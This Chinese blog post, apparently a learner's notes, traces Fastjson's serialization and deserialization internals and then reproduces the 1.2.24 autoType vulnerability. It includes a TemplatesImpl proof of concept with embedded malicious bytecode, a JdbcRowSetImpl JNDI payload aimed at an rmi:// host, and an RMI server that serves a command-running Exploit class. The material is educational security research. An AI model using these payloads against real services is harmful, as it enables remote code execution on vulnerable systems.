FastJson入门啦~ 持续更新中
FastJson入门 Fastjson是Alibaba维护的开源JSON解析库,其优势是”快”。它可以解析 JSON 格式的字符串,⽀持将 Java Bean 序列 化为 JSON 字符串,也可以从JSON字符串反序列化到 Java Bean 。
alibaba/fastjson
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.83</version > </dependency >
vsersion: 1.2.24
序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package FastJson;public class Demo { private String Id; private String name; private char sex; private int score; public Demo () { System.out.println("Demo" ); this .Id = "1" ; this .name = "ameuu" ; this .sex = 'F' ; this .score = 0 ; } public String getId () { System.out.println("getId" ); return Id; } public char getSex () { System.out.println("getSex" ); return sex; } public String getName () { System.out.println("getName" ); return name; } public int getScore () { System.out.println("getScore" ); return score; } public void setId (String id) { System.out.println("setId" ); Id = id; } public void setName (String name) { System.out.println("setName" ); this .name = name; } public void setSex (char sex) { System.out.println("setSex" ); this .sex = sex; } public void setScore (int score) { System.out.println("setScore" ); this .score = score; } @Override public String toString () { return "Demo{" + "Id='" + Id + '\'' + ", name='" + name + '\'' + ", sex=" + sex + ", score=" + score + '}' ; } }
非自省 JSON.toJSONString()
|JSON.toJSON
,在序列化的时候会自动调用构造函数以及各种get函数
1 2 3 4 5 6 7 8 9 10 11 12 13 package FastJson;import com.alibaba.fastjson.JSON;public class Serialize { public static void main (String[] args) { Demo demo = new Demo(); String res = JSON.toJSONString(demo); System.out.println(res); System.out.println(JSON.toJSON(demo)); } }
自省 1 2 3 4 5 6 7 public class Serialize { public static void main (String[] args) { Demo demo = new Demo(); System.out.println(JSON.toJSONString(demo, SerializerFeature.WriteClassName)); } }
反序列化 在一开始自己尝试的时候发现:
Demo demo = (Demo)JSON.parse(serialize);
会报错
1 2 3 4 5 6 7 8 public class Deserialize { public static void main (String[] args) { String serialize = "{\"id\":\"1\",\"name\":\"ameuu\",\"score\":0,\"sex\":\"F\"}" ; Object demo = JSON.parse(serialize); JSONObject demo1 = JSON.parseObject(serialize); System.out.println(demo1); } }
所以我们可以先获取他的Class
,我们可以发现一开始并没有真正得获取到我们原本的对象,然后在第三个方法获得我们的对象的时候会自动调用构造函数并且setter
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Deserialize { public static void main (String[] args) { String serialize = "{\"id\":\"1\",\"name\":\"ameuu\",\"score\":0,\"sex\":\"F\"}" ; System.out.println("JSON.parse Class = " +JSON.parse(serialize).getClass()); System.out.println("JSON.parseObject Class = " +JSON.parseObject(serialize).getClass()); System.out.println("JSON.parseObject(String,Class) Class = " +JSON.parseObject(serialize,Demo.class).getClass()); } }
但是就比如序列化中存在的自省,如果字符串前面有@type
,前面两个方法也是可以直接获得原本的对象的,而第一种在输出的时候会直接调用toString方法,而第二种方法虽然输出的时候还是会输出com.alibaba.fastjson.JSONObject
,但是会调用setter和getter
1 2 3 4 5 6 7 8 9 public class Deserialize { public static void main (String[] args) { String serialize = "{\"@type\":\"FastJson.Demo\",\"id\":\"1\",\"name\":\"ameuu\",\"score\":0,\"sex\":\"F\"}" ; System.out.println("JSON.parse Class = " +JSON.parse(serialize)); System.out.println("JSON.parseObject Class = " +JSON.parseObject(serialize).getClass()); System.out.println("JSON.parseObject(String,Class) Class = " +JSON.parseObject(serialize,Demo.class).getClass()); } }
源码分析 想看一下为什么会调用setter、getter
前置 Feature
名字
作用
默认状态
Feature.AutoCloseSource
决定解析器是否将自动关闭那些不属于parse自己的输入流。Parser close时⾃动关闭为创建Parser实例⽽创建的底层InputStream以及Reader等输⼊流
true
Feature.AllowComment
决定parse是否解析Java/C++样式的注释
false
Feature.AllowUnQuotedFieldNames
决定parse是否允许使用非双引号属性名字
true
Feature.AllowSingleQuotes
决定parse是否允许单引号来包住属性名称和字符串值
true
Feature.InternFieldNames
决定JSON对象属性名称是否可以被String#inter
规范化表示。intern:当调用intern方法时,如果已经包含等于此字符串,则返回该字符串,否则,将此对象添加到池中,并且返回此对象的引用。将json字段名作为字面量缓存起来,即fieldName.intern()
true
Feature.AllowISO8601DateFormat
识别IOS8601格式的日期字符串,例如:2018-05-31T19:13:42.000Z
false
Feature.AllowArbitaryCommas
忽略json中包含的连续的多个逗号,非标准特性
false
Feature.UseBigDecimal
将json中的浮点数解析成BigDecimal对象,禁用后解析成Double对象
true
Feature.IgnoreNotMatch
解析式忽略未知的字段继续完成解析
true
Feature.SortFeidFastMatch
如果用fastjson序列化的文本,输出的结果时按照fieldName排序输出的,parse时也能利用这个顺序进行优化读取。这种情况下,parse能够获得非常好的性能
false
Feature.DisableASM
禁用ASM
false
Feature.DisableCircularReferenceDetect
禁用循环引用检测
false
Feature.InitStringFieldAsEmpty
对于没有值的字符串属性设置为空串
false
Feature.SupportArrayToBean
允许将数组按照字段顺序解析成Java Bean
false
Feature.OrderedField
解析后属性保持原来的顺序
false
Feature.DisableSpecialKeyDetect
禁用特殊字符检查
false
Feature.UseObjectArray
使用对象数组而不是集合
false
Feature.SupportNonPublicField
使用解析没有setter方法的非public属性
false
Feature.IgnoreAutoType
禁用fastjson的AUTOTYPE特性,即不按照json字符串中的@type自动选择反序列化类
false
Feature.DisableFieldSmartMatch
禁用属性智能匹配,例如下划线自动匹配驼峰
false
Feature.SupportAutoType
启用fastjson的autotype功能,即根据json字符串中的@type自动选择反序列化的类
false
Feature.NonStringKeyAsString
解析时将为用引号包含的json字段名作为String类型存储,否则只能用原始类型获取key的值。。例如String text="{123:\"abc\"}"
在启⽤了NonStringKeyAsString后可以 通过JSON.parseObject(text).getString("123")
的⽅式获取到”abc”,⽽在不启 ⽤NonStringKeyAsString时,JSON.parseObject(text).getString("123")
只 能得到null,必须通过JSON.parseObject(text).get(123)
的⽅式才能获取 到”abc”。
false
Feature.CustomMapDeserializer
自定义"{\"key\":vakue}"
解析成Map实例,否则解析为JSONObject
false
Feature.ErrorOnEnumNotMatch
枚举未匹配到时抛出异常,否则解析为null
false
序列化 利用toJSONString(object)
的时候,依次调用三个toJSONString
最后传入 JSONSerializer#write
对object进行JSON序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public static String toJSONString (Object object) { return toJSONString(object, emptyFilters); } public static String toJSONString (Object object, SerializeFilter[] filters, SerializerFeature... features) { return toJSONString(object, SerializeConfig.globalInstance, filters, (String)null , DEFAULT_GENERATE_FEATURE, features); } public static String toJSONString (Object object, SerializeConfig config, SerializeFilter[] filters, String dateFormat, int defaultFeatures, SerializerFeature... features) { SerializeWriter out = new SerializeWriter((Writer)null , defaultFeatures, features); String var15; try { JSONSerializer serializer = new JSONSerializer(out, config); if (dateFormat != null && dateFormat.length() != 0 ) { serializer.setDateFormat(dateFormat); serializer.config(SerializerFeature.WriteDateUseDateFormat, true ); } if (filters != null ) { SerializeFilter[] var8 = filters; int var9 = filters.length; for (int var10 = 0 ; var10 < var9; ++var10) { SerializeFilter filter = var8[var10]; serializer.addFilter(filter); } } serializer.write(object); var15 = out.toString(); } finally { out.close(); } return var15; }
JSONSerializer#write
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public final void write (Object object) { if (object == null ) { this .out.writeNull(); } else { Class<?> clazz = object.getClass(); ObjectSerializer writer = this .getObjectWriter(clazz); try { writer.write(this , object, (Object)null , (Type)null , 0 ); } catch (IOException var5) { throw new JSONException(var5.getMessage(), var5); } } }
1 2 3 public ObjectSerializer getObjectWriter (Class<?> clazz) { return this .config.getObjectWriter(clazz); }
SerializeConfig#getObjectWriter
1 2 3 public ObjectSerializer getObjectWriter (Class<?> clazz) { return this .getObjectWriter(clazz, true ); }
在这里会判断我们传如的对象是什么对象,因为是我们自己创建的对象,所以会到最后的create
才进去,调用put和createJavaBeanSerializer
,之后便是获取传进去的类的filed,最后返回write(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private ObjectSerializer getObjectWriter (Class<?> clazz, boolean create) { ObjectSerializer writer = (ObjectSerializer)this .serializers.get(clazz); ClassLoader classLoader; Iterator var5; Object o; AutowiredObjectSerializer autowired; Iterator var8; Type forType; if (writer == null ) { …… writer = (ObjectSerializer)this .serializers.get(clazz); } if (writer == null ) { …… } if (writer == null ) { if (Map.class.isAssignableFrom(clazz)) { …… } else if (!TimeZone.class.isAssignableFrom(clazz) && !Entry.class.isAssignableFrom(clazz)) { if (Appendable.class.isAssignableFrom(clazz)) { …… } else { String className = clazz.getName(); …… if (create) { this .put((Type)clazz, (ObjectSerializer)this .createJavaBeanSerializer(clazz)); } } } else { this .put((Type)clazz, (ObjectSerializer)CalendarCodec.instance); } } else { this .put((Type)clazz, (ObjectSerializer)MiscCodec.instance); } writer = (ObjectSerializer)this .serializers.get(clazz); } return writer; }
write为ASMSerializer_1_Demo
,其父类为JavaBeanSerializer
,所以总的来说会去调用JavaBeanSerializer#write
最后调用ObjectSerializer#write
,之后实现调用getter,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public final void write (Object object) { if (object == null ) { this .out.writeNull(); } else { Class<?> clazz = object.getClass(); ObjectSerializer writer = this .getObjectWriter(clazz); try { writer.write(this , object, (Object)null , (Type)null , 0 ); } catch (IOException var5) { throw new JSONException(var5.getMessage(), var5); } } }
并且在SerializeWriter
将从getter中获取到的field,JSON序列化之后写入buf中
反序列化 JSON.parse 1 {"@type":"FastJson.Demo","id":"1","name":"ameuu","score":0,"sex":"F"}
先利用parse创建对象,创建了DefaultJSONParser
对象,根据字符串开头为{
或者[
给token赋值,并next下移判断字符
1 2 3 4 5 6 7 8 9 10 11 public static Object parse (String text, int features) { if (text == null ) { return null ; } else { DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
DefaultJSONParser#parse
中创建了JSONObject
对象,并在parseObject进行解析
因为token已经变成12,直接进入else。利用死循环(300+行😭)对字符进行解析
skipWhitespace
,当字符为 |\r|\n|\t|\f|\b|
的时候不会解析或者当字符串为/**/
注释的时候也不会解析。当lexer.isEnabled(Feature.AllowArbitraryCommas)
成立的时候,连续的逗号也不会被解析
JSONLexerBase#scanSymbol
把两个相邻的并且没用被\
转义的quote之间的字符串截取出来。
就比如根据我前面传进去的,最先得到的是@type
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public final String scanSymbol (SymbolTable symbolTable, char quote) { int hash = 0 ; this .np = this .bp; this .sp = 0 ; boolean hasSpecial = false ; while (true ) { char chLocal = this .next(); if (chLocal == quote) { this .token = 4 ; String value; if (!hasSpecial) { int offset; if (this .np == -1 ) { offset = 0 ; } else { offset = this .np + 1 ; } value = this .addSymbol(offset, this .sp, hash, symbolTable); } else { value = symbolTable.addSymbol(this .sbuf, 0 , this .sp, hash); } this .sp = 0 ; this .next(); return value; } …… if (chLocal == '\\' ) { …… } else { hash = 31 * hash + chLocal; if (!hasSpecial) { ++this .sp; } else if (this .sp == this .sbuf.length) { this .putChar(chLocal); } else { this .sbuf[this .sp++] = chLocal; } } } }
SymbolTable#addSymbol
比较是否相等,返回字符串,这里返回的是@type
DefaultJSONParser#parseObject
,如果存在标识@type
,且禁用了特殊字符检查,就会继续获取下一个""
之间的字符串(即我们的类名)并返回给ref
,并利用TypeUtils#loadClass
加载类
1 public static String DEFAULT_TYPE_KEY = "@type";
在ParseConfig#getDesearilizer
中获取反序列化对象,并执行反序列化方法,而对对象也进行了黑名单过滤
1 2 3 4 5 6 for (int i = 0 ; i < this .denyList.length; ++i) { String deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException("parser deny : " + className); } }
跟进到ParseConfig#createJavaBeanDesrializer
,其中创建了JavaBeanDeserializer
在JavaBeanInfo#build
中获取clazz
的属性、方法和构造器
1 2 3 4 5 6 7 8 Class<?> builderClass = getBuilderClass(jsonType); Field[] declaredFields = clazz.getDeclaredFields(); Method[] methods = clazz.getMethods(); Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass); if (defaultConstructor != null ) { TypeUtils.setAccessible(defaultConstructor); }
将符合条件的setter和getter添加进fieldList
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { Class<?>[] types = method.getParameterTypes(); if (types.length == 1 ) { …… if (methodName.startsWith("set" )) { …… if (fieldAnnotation.name().length() != 0 ) { propertyName = fieldAnnotation.name(); add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null )); continue ; } …… if (propertyNamingStrategy != null ) { propertyName = propertyNamingStrategy.translate(propertyName); } add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null )); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get" ) && Character.isUpperCase(methodName.charAt(3 )) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) { JSONField annotation = (JSONField)method.getAnnotation(JSONField.class); if (annotation == null || !annotation.deserialize()) { …… if (fieldInfo == null ) { if (propertyNamingStrategy != null ) { propertyName = propertyNamingStrategy.translate(propertyName); } add(fieldList, new FieldInfo(propertyName, method, (Field)null , clazz, type, 0 , 0 , 0 , annotation, (JSONField)null , (String)null )); } } }
build结束之后会实例化一个JavaBeanInfo
。
ParseConfig#createJavaBeanDesrializer
在build之后调用了ASMDeserializerFactory#createJavaBeanDesrializer
,在这里将字节码放入数组中,并通过defineClass
和Construct
创建一个反序列化类,并未每个属性创建FieldDeserializer
,为之后的反序列化做准备
在JavaBeanDeserializer#deserialize
中判断是否只有get,如果不是则直接调用了fieldDeser.setValue
实则为FieldDeserializer#setValue
实现调用setter
小结: 在分析JSON.parse
的时候可以知道:
调用setter
满足的条件:
方法名长度大于4并且以set开始
不是静态方法
返回值为空或者当前类
参数个数为1
调用getter
满足的条件:
方法名长度大于4且以get开始
不是静态方法
返回值为集合等
无参数
第四个字符是大写的
FastJson反序列化漏洞 1.2.24
由于version 1.2.24默认开启autoType,使得攻击者可以控制@type后面的类,而fastjson会根据json字符串中的@type自动选择反序列化的类,并自动调用类中的get和set方法,如果这些方法存在漏洞,就可以恶意利用了
Demo 就比如我们创建一个恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package FastJson;import java.io.IOException;public class FJDemo { private String name; public FJDemo () { this .name = "calc" ; } public void setName (String name) { this .name = name; } public String getName () throws IOException { Runtime.getRuntime().exec(name); return name; } }
将他序列化(当然序列化的时候发现也会调用啦
1 {"@type":"FastJson.FJDemo","name":"calc"}
反序列化:
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON;public class Deserialize { public static void main (String[] args) { String serialize = "{\"@type\":\"FastJson.FJDemo\",\"name\":\"calc\"}" ; JSON.parseObject(serialize); } }
TemplatesImpl POC:
1 2 3 4 5 6 7 8 9 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "……" ], "_name" : "aaa" , "_tfactory" : {}, "_outputProperties" : {} }
1.这里不要忘了前面讲到TemplatesImpl动态加载字节码的时候,类要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
2.这里把exec放在set方法中没有执行成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package FastJson;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class FJDemo extends AbstractTranslet { private String name; public FJDemo () throws Exception { Runtime.getRuntime().exec("calc" ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public void setName (String name) { this .name = name; } public String getName () throws IOException { return name; } public static void main (String[] args) throws Exception { FJDemo fjDemo = new FJDemo(); } }
exp:
TemplatesImpl Gadget重点在于_bytecodes
和_outputProperties
,而TemplatesImpl中也存在大量private的属性没有setter或者getter,所以要设置Feature.SupportNonPublicField=true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package FastJson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import java.util.Base64;public class Deserialize { public static void main (String[] args) throws Exception { String str = "{\n" + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + " \"_bytecodes\": [\n" + "\"yv66vgAAADQALgoACAAeCgAfACAIACEKAB8AIgkABgAjBwAkCgAGAB4HACUBAARuYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACYBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAHc2V0TmFtZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwcAKAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAC0ZKRGVtby5qYXZhDAALAAwHACkMACoAKwEABGNhbGMMACwALQwACQAKAQAPRmFzdEpzb24vRkpEZW1vAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYACAAAAAEAAgAJAAoAAAAGAAEACwAMAAIADQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAOAAAADgADAAAADgAEAA8ADQAQAA8AAAAEAAEAEAABABEAEgACAA0AAAAZAAAAAwAAAAGxAAAAAQAOAAAABgABAAAAFQAPAAAABAABABMAAQARABQAAgANAAAAGQAAAAQAAAABsQAAAAEADgAAAAYAAQAAABoADwAAAAQAAQATAAEAFQAWAAEADQAAACIAAgACAAAABiortQAFsQAAAAEADgAAAAoAAgAAAB0ABQAeAAEAFwAYAAIADQAAAB0AAQABAAAABSq0AAWwAAAAAQAOAAAABgABAAAAIQAPAAAABAABABkACQAaABsAAgANAAAAJQACAAIAAAAJuwAGWbcAB0yxAAAAAQAOAAAACgACAAAAJQAIACYADwAAAAQAAQAQAAEAHAAAAAIAHQ==\"\n" + " ],\n" + " \"_name\": \"aaa\",\n" + " \"_tfactory\": {},\n" + " \"_outputProperties\": {}\n" + " }" ; JSON.parse(str,Feature.SupportNonPublicField); } }
浅析:
前面一大段和前面分析反序列化源码的时候一样,重复的就不解析了
在JavaBeanDeserializer#deserialize
中在解析属性的时候跟进到JavaBeanDeserializer#parseField
和JavaBeanDeserializer#smartMatch
之后在DefaultFieldDeserializer#parseField
中对_bytecodes
进行base64解密
当key为_outputPropertie
时,因为变量名和数组中的名字不匹配,使得获取这个Filed的deserializer的时候会返回null
在后面对属性名进行判断将_|-
删掉,因为在获取属性名的时候,一开始也是从get|set
后面截取,再此进去getFieldDeserializer
,如果匹配到就返回该FieldDeserializer
之后在setValue
中调用TemplatesImpl#getOutputProperties
之后就是之前在CC3 分析过的TemplatesImpl的链子 已知TemplatesImpl存在defineClass处理字节码
跟进到TemplatesImpl#newTransformer
,在实例化TransformerImpl
的时候调用到了getTransletInstance
,然后在defineTransletClasses
中调用了definClass来处理我们传进去的恶意类的字节码
实现恶意类的实例化
JNDI JdbcRowSetImpl 因为反序列化的时候会直接去调用类的get、set或者默认的构造方法,那么我们可以先简单地看一下这些方法
JdbcRowSetImpl 1 public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet , Joinable {}
默认的构造方法,大部分是set方法,实现变量的初始化,然后set和get也没有什么带有漏洞的,那么我们可以去看一下别的方法,就比如根据对JNDI的了解,实现JNDI注入客户端要能调用到lookup,然后我们传入带有恶意类的RMI URL或者LDAP URL就好了,那么就直接全局搜索lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public JdbcRowSetImpl () { this .conn = null ; this .ps = null ; this .rs = null ; try { this .resBundle = JdbcRowSetResourceBundle.getJdbcRowSetResourceBundle(); } catch (IOException var10) { throw new RuntimeException(var10); } this .initParams(); …… this .iMatchColumns = new Vector(10 ); int var1; for (var1 = 0 ; var1 < 10 ; ++var1) { this .iMatchColumns.add(var1, -1 ); } this .strMatchColumns = new Vector(10 ); for (var1 = 0 ; var1 < 10 ; ++var1) { this .strMatchColumns.add(var1, (Object)null ); } }
可以在connect
那里发现lookup
,然后传入的是dataSource
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
而再全局搜索一下connect
,发现getDatabaseMetaData
和setAutoCommit
方法会自动调用this.connect()
,不过这该怎么用就要看用parse
还是parseObject
进行反序列化
demo poc:
1 2 {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:1099/Exploit", "autoCommit":true}
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.io.Serializable;import java.util.Hashtable;public class Exploit implements ObjectFactory , Serializable { public Exploit () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } public static void main (String[] args) { Exploit exploit = new Exploit(); } public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } }
不知道为什么用vps和marshalsec会报错,但是jdk版本也是8u112,所以最后在本地自己开JNDI服务,然后用phpstudy开一个端口8000,然后运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package JNDI.RMI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference("Exploit" ,"Exploit" ,"http://127.0.0.1:8000/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit" , referenceWrapper); } }
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package JNDI.RMI;import com.alibaba.fastjson.JSON;import com.sun.jndi.rmi.registry.RegistryContext;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Properties;public class JNDIClient { public static void main (String[] args) throws NamingException { String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}" ; JSON.parse(poc); } }
Reference FaIth4444师傅
https://www.yuque.com/jinjinshigekeaigui/qskpi5/zuz3ad#PYn7q
https://blog.csdn.net/weixin_44687621/article/details/119947891